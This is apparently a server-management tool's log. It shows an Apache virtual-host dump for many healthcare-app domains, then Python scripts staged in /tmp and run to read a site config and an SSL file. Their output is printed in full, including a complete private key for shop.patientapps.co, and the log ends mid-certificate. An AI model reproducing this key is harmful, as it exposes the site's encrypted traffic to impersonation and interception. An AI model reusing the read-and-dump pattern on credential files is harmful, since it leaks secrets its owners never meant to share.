         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:30)
                 alias store.patientapps.com
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-17 14:32:52: 

PUT: /tmp/pkp623311

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_shop_co.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-17 14:32:52: 

chmod 755 /tmp/pkp623311; /tmp/pkp623311; rm /tmp/pkp623311

2026-06-17 14:32:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_shop_co.conf	1360

<VirtualHost *:80>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>

<VirtualHost *:443>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>







2026-06-17 14:32:52: 

PUT: /tmp/pkp122474

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-17 14:32:52: 

chmod 755 /tmp/pkp122474; /tmp/pkp122474; rm /tmp/pkp122474

2026-06-17 14:32:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99	7428
c4:05:08:67:2e:17:a9:5a:3b:38:fe:95:0c:43:6f:ff

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBp1hrtPc0rc4oCbw2U9A6/x0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjE3MTMzNDE4WhcNMjYwOTE1MTMzNDE3WjAeMRwwGgYDVQQD
ExNzaG9wLnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAwOVydJqUeHoKcSoXtoT0YumUgrrikO7IBjx9jOC6aYMbjP1e/mmr9zEU
g+02ZGckKa9KAP2QLIC+gwyKI4yAeN1Ww1tSU6czvWJBDsMqOyAKZe2EvfZKc29j
Kw0v14nvPJhxPHKuL/8dUZa66ItmWBoOPyIzLQiifl6gJOXBFVqZvSuypCt9RRMH
7U5z8ycFOHj7DewkVlLHpkTWWpx8RCqrqqcCnjSdYuekDmGwQMqIqC+zG8Dm9jTX
cFj/qghWzPvIGncLTJodg+m3TKsV+lONlixnkunS3+RT7Ut7Xb66+5N0DofqhLUr
1q+3YAlUikyKw7rWHUGv5/A2UNLiwQIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FBJ3bs0pIRVva+bVXRz+cP0XHkzKMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxV
ePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITc2hvcC5wYXRpZW50YXBwcy5jbzATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8veXIxLmMu
bGVuY3Iub3JnLzExNy5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwDCMX5X
RRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ7V/8GoAAAEAwBIMEYCIQC/
Fys3ii4McXILBUhVwCAO5IT3CD5CvaQjvYZnyK9/WgIhAIqQXulo5uJXnN5WJjv1
wMMp6bDuLZZ954nIZWi/IXSVAH4AJuNkblhpISO8ND9HJDWbN5LNJFqI2BXTkzP9
mRirRyMAAAGe1f/AyAAIAAAFAB7jsecEAwBHMEUCIQDh3styxZ9QbuAumLswEdUK
PlGEVQ8eDoT+B8BoIBYKTQIgavGhem2jRCnMrpNZCriK0uxrAStBeWnVmWuLEEJ8
q78wDQYJKoZIhvcNAQELBQADggEBAFivTwDpyCMS7S2/KZ8VAILD8eqMMYFicc6C
Mpm48NkvP9tQY79uhwVlhW1YJi+G7I1EOBGexj5oLQb8tIC20qYivrp4mdzeJKJd
bz9MQpUUyrV3DPzltovUespO9QNMAgLROUKYvXKHsAr0NBwNqrxeowB8h1KWpkpw
RDKl2xrqWtR9knvXLB/MIdzjnrP/pJzj+Qo15iYhAjGltvDR4GdiUrLnjw6FMbkc
dqIrLqxfwUhft3cmFkrGAx3f7WWbbM/4d4zdCvUrq6U5FPP4NEE/e/An+b+ShZEe
R5O5RvYZ61oPRrSTanBh61WgaKcqn4XPOTgWoyzblTKGSluJQFY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDA5XJ0mpR4egpx
Khe2hPRi6ZSCuuKQ7sgGPH2M4LppgxuM/V7+aav3MRSD7TZkZyQpr0oA/ZAsgL6D
DIojjIB43VbDW1JTpzO9YkEOwyo7IApl7YS99kpzb2MrDS/Xie88mHE8cq4v/x1R
lrroi2ZYGg4/IjMtCKJ+XqAk5cEVWpm9K7KkK31FEwftTnPzJwU4ePsN7CRWUsem
RNZanHxEKquqpwKeNJ1i56QOYbBAyoioL7MbwOb2NNdwWP+qCFbM+8gadwtMmh2D
6bdMqxX6U42WLGeS6dLf5FPtS3tdvrr7k3QOh+qEtSvWr7dgCVSKTIrDutYdQa/n
8DZQ0uLBAgMBAAECggEABKYjBYtqM6MhWEve6W+34iBmC2aMqliO6pOPpRMPexaF
VfcPUItkcR82Mt3HN1FDDlwiqPZzgJcTwF3PgH7U49TVz/yF9e0sMo7JKZ1riaRC
i+VXEyr57WFMXw/AzO2OngPAiufqqc54uuwqkgs2Cr6KBFyDJj00iV4nduwwpJ6R
Hzwwi7QMYUqPxqc9ZYZiIWDWHNHIYBh8xjaNhjfk3tbz4/sz7rjdgjlDlAGb3WbF
34/K8OuBgFpZo3WYOzXvGOp5HmV+UNFAeNozxxDN3tZnYRzdSqyBAttUFpRuPHu0
30CQGAQdEKXe8LTU5utwIFz9WegTah5dyTxzhHnizwKBgQDzn7hFa56I8k5suvIC
uFPkSNqv96PRFInt6oJZC/D88bVWT6cpROzDivKnL3A1xwB8ecYnixLsLPHxUygM
Hk06Iz+/9D2lApeChdp33KUj8lO46BRt3KnxLd4ttFaM/yUtJWRUJsup8EVnb/7u
A8vAAnByBQ4nIiPqxyYpNHpQdwKBgQDKsgZNtt/DE/kG8V2mWRZyQY2uk6puV+4m
M3s35QJbJCIR3HvFQ27fvrW6nmgO7616QhPjIhIn3cm/fViMVabNbpCrtKvfT1kG
wahjnkhoPkAj2g7VZop86AWCijwxkHKZG5A7xQRxukq36KHG43A4vxvritJlNF1m
ii5/YvIshwKBgQCQjYai+jY4/7z02v/aCVENtQS9QGzdFBi7KFhrSaCWFT0Jl32S
CSmK5RkRhh5Iammpcf/XWrfBlvF/xV2PwzMDegLLfLpO/Hi1o4J7eFosOA7hOiNV
BId5aUPZTpXEV2fRn8wl+lcB4GTt+RAEXhA5P7lEjidVpPY2yi+kZ1TkBQKBgF2N
XStxREWdakqyDC9C3wFNED+LGBZlrx0ilbRulm/KdY8Y3GdngDz0oJvJkO2T4dWT
ueoTR53u17bx+3SJ87rNVShq8wjWbpiXuUiBPZofYSsq8b283h5YWHKvqqiVqs7P
0fpELJDxEptfW4uYXatTSWelYwYi7Rjunhdda7jxAoGAVsSqI6ALJ0L6sIkvT6z6
U/lThjE5r65r5tbD7zKmD/dWKdhpcpIAhs1k5woHkVtW80wp7oOOXZ0J4aTtF2EN
yjAZFFWGlhWMTPmP4z0p624SpNHNlrcjUdoKrFoX+2fVpkI2LLgS4TukjzmK89ou
PeaF4SDawpE5sotUu/h9Yvg=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
